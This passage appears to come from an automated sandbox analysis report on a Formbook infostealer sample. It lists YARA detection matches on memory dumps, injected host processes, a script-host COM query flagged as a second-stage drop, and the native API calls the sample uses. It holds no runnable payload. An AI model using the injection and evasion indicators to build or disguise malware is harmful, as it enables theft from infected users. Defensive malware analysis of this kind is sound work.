              Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000011.00000002.4589387883.0000000010010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
              Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
              Source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
              Source: Process Memory Space: gbkusncub.ppt PID: 936, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: RegSvcs.exe PID: 1908, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTRMatched rule: Semi-Auto-generated - file ironshell.php.txt Author: Neo23x0 Yara BRG + customization by Stefan -dfate- Molls
              Source: Process Memory Space: raserver.exe PID: 2036, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: gbkusncub.ppt.exe PID: 4988, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: chkdsk.exe PID: 2420, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: NETSTAT.EXE PID: 6084, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: gbkusncub.ppt.exe PID: 6904, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: cmmon32.exe PID: 2244, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: gbkusncub.ppt.exe PID: 7064, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Source: Process Memory Space: NETSTAT.EXE PID: 1524, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
              Windows Scripting host queries suspicious COM object (likely to drop second stage)
              Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041A330 NtCreateFile,16_2_0041A330
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041A3E0 NtReadFile,16_2_0041A3E0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041A460 NtClose,16_2_0041A460
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041A510 NtAllocateVirtualMemory,16_2_0041A510
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041A2EB NtCreateFile,16_2_0041A2EB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041A32A NtCreateFile,16_2_0041A32A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041A382 NtReadFile,16_2_0041A382
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382B60 NtClose,LdrInitializeThunk,16_2_01382B60
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382BF0 NtAllocateVirtualMemory,LdrInitializeThunk,16_2_01382BF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382AD0 NtReadFile,LdrInitializeThunk,16_2_01382AD0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382D30 NtUnmapViewOfSection,LdrInitializeThunk,16_2_01382D30
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382D10 NtMapViewOfSection,LdrInitializeThunk,16_2_01382D10
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382DF0 NtQuerySystemInformation,LdrInitializeThunk,16_2_01382DF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382DD0 NtDelayExecution,LdrInitializeThunk,16_2_01382DD0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382C70 NtFreeVirtualMemory,LdrInitializeThunk,16_2_01382C70
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382CA0 NtQueryInformationToken,LdrInitializeThunk,16_2_01382CA0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382F30 NtCreateSection,LdrInitializeThunk,16_2_01382F30
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382FB0 NtResumeThread,LdrInitializeThunk,16_2_01382FB0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382F90 NtProtectVirtualMemory,LdrInitializeThunk,16_2_01382F90
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382FE0 NtCreateFile,LdrInitializeThunk,16_2_01382FE0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,16_2_01382EA0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382E80 NtReadVirtualMemory,LdrInitializeThunk,16_2_01382E80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01384340 NtSetContextThread,16_2_01384340
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01384650 NtSuspendThread,16_2_01384650
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382BA0 NtEnumerateValueKey,16_2_01382BA0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382B80 NtQueryInformationFile,16_2_01382B80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382BE0 NtQueryValueKey,16_2_01382BE0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382AB0 NtWaitForSingleObject,16_2_01382AB0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382AF0 NtWriteFile,16_2_01382AF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382D00 NtSetInformationFile,16_2_01382D00
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382DB0 NtEnumerateKey,16_2_01382DB0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382C00 NtQueryInformationProcess,16_2_01382C00
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382C60 NtCreateKey,16_2_01382C60
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382CF0 NtOpenProcess,16_2_01382CF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382CC0 NtQueryVirtualMemory,16_2_01382CC0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382F60 NtCreateProcessEx,16_2_01382F60
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382FA0 NtQuerySection,16_2_01382FA0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382E30 NtWriteVirtualMemory,16_2_01382E30
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382EE0 NtQueueApcThread,16_2_01382EE0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01383010 NtOpenDirectoryObject,16_2_01383010
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01383090 NtSetValueKey,16_2_01383090
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013835C0 NtCreateMutant,16_2_013835C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013839B0 NtGetContextThread,16_2_013839B0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01383D10 NtOpenProcessToken,16_2_01383D10
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01383D70 NtOpenThread,16_2_01383D70
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D99B5C: _wcslen,CreateFileW,CloseHandle,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,0_2_00D99B5C
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DA355D0_2_00DA355D
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DAB76F0_2_00DAB76F
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D9BF3D0_2_00D9BF3D
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DBC0D60_2_00DBC0D6
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DAA0080_2_00DAA008
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB92D00_2_00DB92D0
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DAC27F0_2_00DAC27F
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DA52140_2_00DA5214
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DAA2220_2_00DAA222
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DC43600_2_00DC4360
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DC86D20_2_00DC86D2
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DA46CF0_2_00DA46CF
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D948AA0_2_00D948AA
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DC480E0_2_00DC480E
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D95AFE0_2_00D95AFE
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DAABC80_2_00DAABC8
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D97CBA0_2_00D97CBA
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DABC050_2_00DABC05
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D93D9D0_2_00D93D9D
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DA4D320_2_00DA4D32
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DBBEA70_2_00DBBEA7
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DA5F0B0_2_00DA5F0B
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D95F390_2_00D95F39
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013662088_3_01366208
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0136D2D88_3_0136D2D8
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013664288_3_01366428
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013644A88_3_013644A8
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013946108_3_01394610
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013946108_3_01394610
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139B6E08_3_0139B6E0
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139B6E08_3_0139B6E0
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013809EB8_3_013809EB
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013819ED8_3_013819ED
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013809EE8_3_013809EE
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013819E38_3_013819E3
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013948308_3_01394830
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013948308_3_01394830
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013928B08_3_013928B0
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013928B08_3_013928B0
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDF38_3_013AEDF3
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDF38_3_013AEDF3
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDF68_3_013AEDF6
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDF68_3_013AEDF6
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AFDF58_3_013AFDF5
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AFDF58_3_013AFDF5
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_01381FC78_3_01381FC7
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013B03CF8_3_013B03CF
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013946108_3_01394610
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013946108_3_01394610
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139B6E08_3_0139B6E0
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139B6E08_3_0139B6E0
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013948308_3_01394830
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013948308_3_01394830
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013928B08_3_013928B0
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013928B08_3_013928B0
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDF38_3_013AEDF3
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDF38_3_013AEDF3
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDF68_3_013AEDF6
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AEDF68_3_013AEDF6
